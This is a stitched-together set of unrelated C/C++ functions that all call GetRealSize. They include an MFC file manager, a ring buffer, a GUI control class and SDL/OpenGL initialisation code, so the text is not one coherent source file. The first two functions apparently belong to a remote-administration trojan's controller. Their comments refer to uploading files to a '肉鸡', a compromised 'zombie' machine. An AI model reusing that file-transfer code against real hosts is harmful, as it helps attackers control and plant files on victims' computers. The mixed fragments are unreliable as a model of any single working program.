//文件上传 void CFileView::OnFileUpload() { CFileDialog cUpLoadDlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, NULL, this); if (IDOK == cUpLoadDlg.DoModal()) { CString strDesFilePath = _T(""); //本机文件路径 CString strCurFilePath = _T(""); //上传到肉鸡上文件的路径 strDesFilePath = cUpLoadDlg.GetPathName(); //C:\FILE\TEXT.DAT GetDlgItemText(IDC_EDIT_CURPATH, strCurFilePath); strCurFilePath += cUpLoadDlg.GetFileName(); //肉鸡上存放路径: D:\File\TEXT.DAT WIN32_FIND_DATAW FileData; HANDLE hFile = FindFirstFileW(strDesFilePath, &FileData); if (INVALID_HANDLE_VALUE == hFile) { ::MessageBox(this->m_hWnd, _T("无法传送该文件"), _T("提示"), MB_OK | MB_ICONWARNING); } else { DWORDLONG dl = MAXDWORD; __int64 uSize = ((__int64)FileData.nFileSizeHigh * (dl + 1)) + (__int64)FileData.nFileSizeLow; CString strRealSize = GetRealSize(uSize); ((CFileManager*)m_pWndMsg)->m_tabCtrl.SetCurFocus(1); ((CFileManager*)m_pWndMsg)->GetFileTransPoint()->OnAddFileList(1, strDesFilePath, strCurFilePath, strRealSize, 0); } } }
bool RWBuffer_Write(RWBuffer _self, const uint* from, const uint write_size) { register uint* registered_top_pointer = (uint*)_self.self->top_pointer; register uint* registered_bottom_pointer = (uint*)_self.self->bottom_pointer; uint real_write_size = GetRealSize(uint, write_size); uint number_uints = real_write_size / sizeof(uint); uint* buffer_chunk_pointer = registered_bottom_pointer + 2; for (uint i = 0; i < number_uints; i++) { if (buffer_chunk_pointer > _self.self->bottom_barrier) buffer_chunk_pointer = (uint*)_self.self->top_barrier; if (buffer_chunk_pointer == registered_top_pointer) return false; *buffer_chunk_pointer = from[i]; buffer_chunk_pointer++; } if (buffer_chunk_pointer > _self.self->bottom_barrier) buffer_chunk_pointer = (uint*)_self.self->top_barrier; *registered_bottom_pointer = real_write_size; registered_bottom_pointer++; if (registered_bottom_pointer > _self.self->bottom_barrier) registered_bottom_pointer = _self.self->top_barrier; *registered_bottom_pointer = (uint)buffer_chunk_pointer; _self.self->bottom_pointer = buffer_chunk_pointer; return true; }
///**********************************************************************/// /// class implement begin /// ///**********************************************************************/// SafedBuffer::SafedBuffer(euint bufferSize) : m_nonblockingCount(0) , m_blockingCount(0) { euint size = GetRealSize(euint, bufferSize); m_transferBuffer = (char*)Malloc(size); m_buffer = RWBuffer_new(bufferSize); }
void CControl::UpdateQuadP() { const CVec2& realSize = GetRealSize(); CVec2 anchorPos = GetAnchor() * realSize; //set vertex m_quadp.tl = CVec3(-anchorPos); m_quadp.br = CVec3(realSize - anchorPos); m_quadp.tr.x = m_quadp.br.x; m_quadp.tr.y = m_quadp.tl.y; m_quadp.bl.x = m_quadp.tl.x; m_quadp.bl.y = m_quadp.br.y; }
RWBuffer RWBuffer_new(uint buffer_size) { RWBuffer ret; ret.self = (rw_buffer*)Malloc(sizeof(rw_buffer)); uint real_size = GetRealSize(uint, buffer_size); uint number_uints = real_size / sizeof(uint); ret.self->top_barrier = (uint*)Malloc(real_size); ret.self->bottom_barrier = ret.self->top_barrier + number_uints; ret.self->top_pointer = ret.self->top_barrier; ret.self->bottom_pointer = ret.self->top_barrier; return ret; }
void CFileView::SetFileListInfo( IN FILEINFO_C tagFileInfo ) { int i = 0; switch (tagFileInfo.nType) { case FILE_ATTR: //文件 { int nCount = m_listCtrl.GetItemCount(); //已经获取到的数量 SHFILEINFO shInfo; //mfc文件信息结构体 memset((char*)&shInfo, 0, sizeof(shInfo)); //利用文件扩展名来决定图标显示,比如传过来的是a.exe,则找到客户端exe文件图标显示的句柄. if (SHGetFileInfo(tagFileInfo.szFileName, 0, &shInfo, sizeof(shInfo), SHGFI_ICON |SHGFI_USEFILEATTRIBUTES)) { i = m_ImageList.Add(shInfo.hIcon); //将文件图标句柄添加到CImageList控件成员变量中 m_listCtrl.InsertItem(nCount, tagFileInfo.szFileName, i); } else //文件图标句柄获取失败! 则采用资源引入的文件图标 { i = m_ImageList.Add(AfxGetApp()->LoadIcon(IDI_ICON_FILE)); m_listCtrl.InsertItem(nCount, tagFileInfo.szFileName, i); } m_listCtrl.SetItemText(nCount, 1, _T("")); __int64* pFileSize = new __int64(tagFileInfo.size); m_listCtrl.SetItemData(nCount, DWORD(pFileSize)); CString strFileSize = _T(""); //文件大小 strFileSize = GetRealSize(tagFileInfo.size); m_listCtrl.SetItemText(nCount, 2, strFileSize); } break; case FOLDER_ATTR: //文件夹 { m_treeFile.InsertItem(tagFileInfo.szFileName, 3, 3, m_hItem, 0); //左边树控件 i = m_ImageList.Add(AfxGetApp()->LoadIcon(IDI_ICON_FOLDERLIST)); //文件夹图标 m_listCtrl.InsertItem(m_nDirCount, tagFileInfo.szFileName, i); m_listCtrl.SetItemText(m_nDirCount, 1, _T("文件夹")); m_listCtrl.SetItemText(m_nDirCount, 2, _T("0")); m_nDirCount++; //文件夹数量 } break; case FILE_TAG: //文件列表信息发送完毕 { // m_bFlag = true; m_treeFile.Expand(m_hItem, TVE_EXPAND); //展开点击的节点 } break; default: break; } UpDataStatusBar(m_hItem); }
void GLFuncs::SwapBuffers() { if (this->_useFramebuffer) { // Render to the screen glBindFramebuffer(GL_FRAMEBUFFER, 0); glDrawBuffer(GL_BACK); int w, h; GetRealSize(&w, &h); // Render on the whole framebuffer, complete from the lower left corner to the upper right glViewport(0, 0, _windowWidth, _windowHeight); // Clear the screen glClear(GL_COLOR_BUFFER_BIT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glBindTexture(GL_TEXTURE_2D, _renderedTexture); // Renderizar la textura. //BlitRect(0, 0, _realWidth, _realHeight, 0.0f, 1.0f, 1.0f, 0.0f); BlitRect((int)((_windowWidth - w)/2), (int)((_windowHeight-h)/2), w, h, 0.0f, 1.0f, 1.0f, 0.0f); } SDL_GL_SwapWindow(this->_window); if (this->_useFramebuffer) { // Restore so we draw in the texture again. glBindFramebuffer(GL_FRAMEBUFFER, _frameBufferName); GLenum drawBuffers[1] = { GL_COLOR_ATTACHMENT0 }; glDrawBuffers(1, drawBuffers); glViewport(0, 0, _screenWidth, _screenHeight); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); } }
void CControl::GetAnchorPosition( float& x, float& y ) { x = GetAnchor().x * GetRealSize().x; y = GetAnchor().y * GetRealSize().y; }
SDL_Window *GLFuncs::Initialize(int screenWidth, int screenHeight, GLboolean fullscreen, const char* name) { Uint32 flags; if (SDL_Init(SDL_INIT_EVERYTHING) != 0) { Log::Out << "Unable to initialize SDL: " << SDL_GetError() << endl; return NULL; } atexit(SDL_Quit); flags = SDL_WINDOW_OPENGL; _screenWidth = screenWidth; _screenHeight = screenHeight; _windowWidth = _screenWidth; _windowHeight = _screenHeight; if (fullscreen) { flags |= SDL_WINDOW_FULLSCREEN; SDL_DisplayMode currentDisplay; if(SDL_GetCurrentDisplayMode(0, ¤tDisplay)) { Log::Out << "Couldn't get current display mode: " << SDL_GetError() << endl; } else { Log::Out << "Current display mode: " << currentDisplay.w << "x" << currentDisplay.h << endl; _windowWidth = currentDisplay.w; _windowHeight = currentDisplay.h; } } Log::Out << "Window size: " << _windowWidth << "x" << _windowHeight << endl; int realW, realH; GetRealSize(&realW, &realH); Log::Out << "Real size: " << realW << "x" << realH << endl; this->StaticProjection = glm::ortho(0.0f, (float)_windowWidth, (float)_windowHeight, 0.0f, -1.0f, 1.0f); setGLAttributes(); _window = SDL_CreateWindow(name, SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED, _windowWidth, _windowHeight, flags); if (!_window) { Log::Out << "Unable to create window." << endl; checkSDLError(__LINE__); } SDL_Surface *icon = Pack::GetInstance()->GetImg("data/UWOLIcon.png"); SDL_SetWindowIcon(_window, icon); _mainContext = SDL_GL_CreateContext(_window); SDL_GL_MakeCurrent(_window, _mainContext); #ifndef __APPLE__ glewExperimental = GL_TRUE; glewInit(); #endif char* obtainedVersion = (char*)glGetString(GL_VERSION); string glVersion = getVersionFromStr(obtainedVersion); Log::Out << "OpenGL: " << obtainedVersion << endl; int version; stringstream ss(glVersion); ss >> version; #ifdef __APPLE__ this->_useShaders = true; #else this->_useShaders = (glCreateProgram != NULL); //version >= 20; #endif if (_useShaders) { this->_vtxAttribIdx = 0; this->_uvAttribIdx = 1; this->_colAttribIdx = 2; this->_glslVersion = getGLSLVersion(); Log::Out << "GLSL: " << (this->_glslVersion == "" ? "Not available!" : this->_glslVersion) << endl; } else { Log::Out << "Shaders are not available" << endl; } this->_useVBO = (glGenVertexArrays!=NULL); //version >= 20; if (this->_useVBO) { this->_useFramebuffer = this->initFramebuffer(); } glViewport(0, 0, _screenWidth, _screenHeight); glClearColor(0.0f, 0.0f, 0.0f, 1.0f); glDisable(GL_DEPTH_TEST); glDepthMask(GL_FALSE); // glShadeModel(GL_SMOOTH); glDisable(GL_CULL_FACE); //#if !ESSENTIAL_GL_PRACTICES_SUPPORT_GL3 // //glEnable(GL_ALPHA_TEST); // //glAlphaFunc(GL_GREATER, 0.01f); // //glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST); //#endif glEnable(GL_BLEND); glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); glPointSize(2.0f); if (this->_useVBO) { glGenVertexArrays(1, &_vaoVertex); glBindVertexArray(_vaoVertex); glGenBuffers(1, &_vboVertex); glGenBuffers(1, &_vboUV); glGenBuffers(1, &_vboColor); glGenBuffers(1, &_vboLineVertex); } this->ResetMVP(); GLint texture_units; glGetIntegerv(GL_MAX_TEXTURE_IMAGE_UNITS, &texture_units); _activeTextures.resize(texture_units, 0); return _window; }